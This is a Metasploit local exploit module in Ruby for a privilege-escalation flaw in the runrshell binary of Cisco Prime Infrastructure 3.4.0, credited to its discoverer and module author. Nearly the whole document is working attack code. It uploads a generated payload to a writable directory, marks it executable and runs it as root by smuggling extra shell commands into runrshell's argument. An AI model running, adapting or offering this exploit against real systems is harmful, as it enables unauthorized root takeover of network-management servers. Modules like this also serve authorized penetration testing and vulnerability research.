Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super( update_info( info,
      'Name'           => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
      'Description'    => %q{
        This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
        runrshell binary is meant to execute a shell script as root, but can be abused to inject
        extra commands in the argument, allowing you to execute anything as root.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
          'sinn3r'                               # Metasploit module
        ],
      'Platform'       => ['linux'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DisclosureDate' => '2018-12-08',
      'Privileged'     => true,
      'References'     =>
        [
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
        ],
      'Targets'        =>
        [
          [ 'Cisco Prime Infrastructure 3.4.0', {} ]
        ],
      'DefaultTarget'  => 0
     ))

    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
    ]
  end

  def exec_as_root(cmd)
    command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
    vprint_status(cmd_exec(command_string))
  end

  def exploit
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
    exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
    print_status("Uploading #{exe_path}")
    write_file(exe_path, generate_payload_exe)
    unless file?(exe_path)
      print_error("Failed to upload #{exe_path}")
      return
    end

    register_file_for_cleanup(exe_path)
    print_status('chmod the file with +x')
    exec_as_root("/bin/chmod +x #{exe_path}")
    print_status("Executing #{exe_path}")
    exec_as_root(exe_path)
  end
end